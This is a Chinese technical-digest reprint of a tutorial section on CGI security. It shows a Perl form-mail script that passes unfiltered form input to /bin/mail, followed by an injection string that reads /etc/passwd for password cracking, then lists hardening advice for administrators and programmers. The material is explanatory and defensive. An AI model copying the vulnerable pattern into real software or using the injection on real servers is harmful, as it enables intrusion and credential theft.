说三道四技术文摘-感悟人生的经典句子
说三道四 > 文档快照

用Delphi编写CGI程序(五)

HTML文档下载 WORD文档下载 PDF文档下载
用Delphi编写CGI程序(五)

CGI 程 序 的 功 能 是 强 大 的

但 正 是 因 为 如 此 , 如 果 您 作 为 CGI 开 发 人 员 或 系 统 管 理 人 员 不 注 意 编 写 和 设 置 CGI 程 序 的 话,将 使 您 的 系 统 千 疮 百 孔。 本 篇 就 CGI的 安 全 性 问 题 做 一 讨 论。

3 、 CGI 的 安 全 性

CGI 程 序 的 功 能 是 强 大 的 , 它 不 仅 可 以 具 有 普 通 程 序 的 功 能 , 而 且 可 以 将 程 序 的 结 果 发 布 在 WEB 上 。 但 正 是 因 为 CGI 程 序 的 功 能 如 此 强 大 , 如 果 您 作 为 CGI 开 发 人 员 或 系 统 管 理 人 员 不 注 意 编 写 和 设 置 CGI 程 序 的 话 , 将 使 您 的 系 统 千 疮 百 孔 , 让 一 些 非 法 用 户 有 机 可 乘 。

这 里 所 讲 到 的 安 全 性 并 不 是 CGI 规 范 引 起 的 , 而 是 编 程 和 系 统 设 置 不 当 引 起 的 。 CGI 规 范 使 用 户 可 以 利 用 服 务 器 的 计 算 能 力 , 是 在 服 务 器 上 的 计 算 不 当 导 致 了 系 统 的 安 全 漏 洞 。 下 面 我 给 出 一 个 在 UNIX 系 统 上 的 一 个 CGI 安 全 漏 洞 , 这 个 漏 洞 是 非 常 常 见 的 。

# !/usr/local/bin/perl

# formmail.cgi

require "cgi.pl";

# Launch e-mail application "/bin/mail" with Subject: header from the "formname" field

open (MAIL

|/bin/mail -s '

.$input{"formname"}."' webweave");

# Add send "formcontents" field as the body of the message

print MAIL $input{"formcontents"};

close(MAIL);

exit(0);

在 这 个 例 子 中 , CGI 程 序 将 表 单 的 信 息 提 交 给 /bin/mail , 并 发 送 到 webveave 服 务 器 上 去 。 在 大 多 数 情 况 下 这 个 CGI 程 序 可 以 正 常 完 成 任 务 , 但 此 CGI 程 序 未 过 滤 用 户 在 WEB 表 单 中 输 入 的 信 息 , 因 此 留 下 了 安 全 隐 患 。 当 用 户 或 别 有 用 心 的 人 输 入 了 错 误 的 数 据 可 能 导 致 系 统 错 误 或 得 到 不 应 有 的 权 限 。

例 如 用 户 在 WEB 表 单 的 "formname" 中 填 写 下 面 的 内 容 :

ls /etc/passwd 'cracker@illegal.org #'    在 用 户 的 WEB 浏 览 器 中 就 会 显 示 出 /etc/passwd 的 内 容 , 若 此 UNIX 系 统 的 passwd 文 件 没 有 shadow , 用 户 就 可 以 利 用 此 内 容 , 使 用 crack jack 或 crack john 就 可 以 试 图 破 解 密 码 !    前 面 已 经 提 到 , CGI 的 安 全 是 程 序 员 和 系 统 管 理 员 都 应 负 责 的 , 下 面 我 就 分 别 讲 一 讲 二 者 应 注 意 的 事 :    系 统 管 理 员 的 工 作 :    1 、 与 程 序 员 合 作 , 共 享 有 关 服 务 器 安 全 的 信 息 , 同 时 互 相 检 查 代 码 , 及 时 发 现 代 码 中 的 安 全 问 题 。    2 、 使 用 好 的 服 务 器 软 件 , 经 常 去 服 务 器 软 件 的 WEB 站 点 了 解 最 新 的 信 息 。    3 、 将 服 务 器 的 用 户 限 制 在 特 定 的 网 络 主 机 上 , 使 用 服 务 器 的 安 全 管 理 功 能 、 设 置 路 由 存 取 控 制 等 。    4 、 对 CGI 功 能 进 行 限 制 , 部 分 高 级 服 务 仅 限 于 信 任 的 用 户 , 将 测 试 中 的 CGI 程 序 的 使 用 限 制 在 开 发 人 员 中 , 只 提 供 给 用 户 经 过 测 试 的 CGI 程 序 。    5 、 在 使 用 其 他 人 的 CGI 程 序 时 , 仔 细 检 查 代 码 。    6 、 将 CGI 程 序 的 使 用 限 制 在 受 保 护 的 环 境 中 , 服 务 器 设 置 成 非 特 权 用 户 访 问 , 并 为 CGI 程 序 专 门 设 立 一 个 运 行 帐 户 或 组 。    7 、 将 运 行 CGI 程 序 的 服 务 器 设 置 在 防 火 墙 外 , 这 一 点 一 定 要 注 意 , CGI 程 序 的 服 务 器 必 须 设 置 在 防 火 墙 外 , 如 果 设 置 在 防 火 墙 内 , 一 旦 非 法 用 户 找 到 了 CGI 程 序 服 务 器 的 安 全 漏 洞 , 他 就 可 以 控 制 在 防 火 墙 内 的 所 有 主 机 !    8 、 降 低 CGI 程 序 的 运 行 优 先 级 , 防 治 用 户 恶 意 运 行 大 量 的 CGI 程 序 导 致 服 务 器 过 载 。    9 、 订 阅 有 关 网 络 安 全 性 的 邮 件 , 参 加 网 络 安 全 性 的 新 闻 组 。    CGI 程 序 员 的 工 作 :    1 、 同 系 统 管 理 员 合 作 , 了 解 系 统 的 安 全 信 息 , 相 互 检 查 代 码 。    2 、 使 用 可 靠 的 库 程 序 , 检 查 库 程 序 的 源 代 码 。    3 、 从 REMOTE_HOST 中 得 到 客 户 机 名 , 将 一 些 高 级 功 能 限 制 在 受 信 任 的 客 户 机 。    4 、 如 果 WEB 服 务 器 提 供 HTTP 口 令 确 认 , 使 用 HTTP 口 令 来 限 制 访 问 。    5 、 过 滤 用 户 的 输 入 , 去 除 非 法 的 输 入 数 据 。    6 、 限 制 输 入 数 据 的 大 小 , 防 止 恶 意 用 户 输 入 大 量 数 据 使 服 务 器 过 载 。    7 、 避 免 传 递 用 户 数 据 到 其 他 应 用 程 序 , 以 免 用 户 调 用 命 令 解 释 器 或 利 用 其 他 应 用 程 序 的 安 全 漏 洞 。    8 、 发 现 了 CGI 程 序 的 漏 洞 时 , 不 要 对 任 何 人 讲 , 更 不 要 在 程 序 中 注 释 说 明 , 您 应 该 作 的 就 是 立 刻 修 补 漏 洞 。    9 、 学 作 攻 击 者 , 找 出 CGI 程 序 的 安 全 漏 洞 。

摆脱谷歌 亚马逊向开发者正式发布地图API 为什么应该用模块取代C/C++中的头文件? Mozilla布道师:HTML5在移动端没有未来? 那些年,历史上留下浓重一笔的黑客们 林敏博士:透过设计看三星手机帝国崛起 OpenFeint血泪史:我们是如何被苹果逼死的 或免费升级:微软2013年推Windows Blue系统 取经:《捕鱼达人2》每月捞金160万美元的秘密 AWS推数据仓库服务Redshift 价格仅是Teradata IBM Oracle的十分之一 美国开展数据中心整合计划 简化政府IT运营 阿里巴巴数据交换平台——集大成于一身 [体验]Windows 8 Metro/Modern Style IE 10 Growth Hacker正席卷全球,你了解它吗? Splashtop发布Ubuntu Linux版本Streamer 性能超过VNC 10倍 Windows 8引领智能操作 人机交互进入触控时代 豌豆荚发布新版应用搜索 推出“绿色标签”机制 权威解读:苹果的未来将走向何方? Google炮轰Facebook:你们的社交已经过时了! iOS设备硬件规格完整汇总 2012 MDCC“2012移动互联网应用创新大赛与开发者面对面”专场:创所未享,携手逐梦! RIM携QNX为“2012 BlackBerry平台移动应用高校竞赛” 颁奖 BlackBerry 10 策略:用金钱吸引游戏开发者 黑莓10要来了:RIM正式开放应用提交 从RIM与微软达成exFAT授权所想到的 OpenStack中国行来到南京 中兴通讯分享电信行业应用 CSS架构目标:预测、重用、扩展、维护 黑客利用移动浏览器漏洞窃取云计算资源 地位动摇:Windows设备10月销量同比下滑21% 手机QQ浏览器4.0 Android版 极速快感 生存还是毁灭:Facebook惨败真是HTML5的错? OpenStack基金会主席:一年后成熟度超越CloudStack 在Delphi中我如何得到,打印机任务个数? 刚上来散分了 安装softice后,机器不能启动了!!!!!! datawindow的edit有editchanged事件,即一改变内容就触发,我想将这个事件加在multilineedit控件里,自定义事件要选择哪个EventID? 在存储过程中如何使用表名变量? 一点小问题,请帮帮忙 菜鸟求助 用VC对WORD文档进行一些操作,高分求救 Suspicious pointer conversion 是什么警告啊? 有哪位高手知道微软提供的的简繁互转的组件是哪个,在线等待,高分送 紧急求助!!既可以选择还可以接受用户输入的下拉选框!!万分感谢!! 在jsp页面中如何实现显示一行文字消息后再更改该文字的内容?? 高分求Excel基本操作代码,如打开关闭文件、取单元格数据之类的 关于MSHFLexGrid与ADODC的几个问题 什么是内建数据库? 请问Delphi 6怎么样才能激活Invokable向导? 安装softice后,不能启动机器了!!!!!!!! 听听StringGrid 隐藏行的好建议,别讲RowHeight[i]=0阿 关于VB调用Excel打印报表的问题 哪有电脑知识问答题? 我有项目,有谁参加??? 请问哪儿能下载模块 ming? 这样的情况还能用StringGrid吗???如果不可以那用什么?DBgrid? 致JAVAMAIL配置不成功者--即编译通过但运行不了的朋友 请问asp.net 项目开发中,页面设计与代码编写如何分工 这个地方怎么回事?(代码) 不能上网??为什么?我想不明白?? ASP包含文件问题,给分50,在线等候ING。。。。 怎樣在applet中控制button的大小和具體位置? 从Microsoft操作系统的发展中,我们可以看到操作系统最终目标是OFS,它基于一种内建数据库技术,最终什么样的数据库,也就是何为内建数据 鼠标左键按下拖动是对应的windows消息是哪个?(像WM_LBUTTONDOWE) 与市场上通过网站的web发送短信相反,web能接受短信吗?如何完成? 与市场上通过网站的web发送短信相反,web能接受短信吗?如何完成? 我有项目,有谁参加??? 要用jdbc连接两个用户怎么办? 怎样取出字符串? 请问哪里有支持代理服务器的telnet客户端? 用vbscript将list框里的多选的值读出来,急!在线等待 想在北京找个JAVA或XML及相关技术开发方面的工作(大学毕业后工作三年,然后读了统招的研究生) 用VBscript 取当前页form 中项目的值。 请问在JBuilder7中,如何引入javax.xml.parsers.*;org.xml.sax.*;org.w3c.dom.*; 急需要原代码 如何在delphi 6中的 采单加入图片背景? tomcat 问题 请指教:Wrf文件用什么软件打开呢? 请大家帮忙,谢谢 这个问题如何解决!特来请教! 怎么样去掉工具栏呀(基于单文档的应用程序)? 字符串的连接 如何使得图片(TImage)半透明显示? 想让图片有朦胧的感觉 初学者的问题:SQL Server的两个小问题,希望高手指教,多谢了!
备案号:鲁ICP备13029499号-2 说三道四 www.s3d4.cn 说三道四技术文摘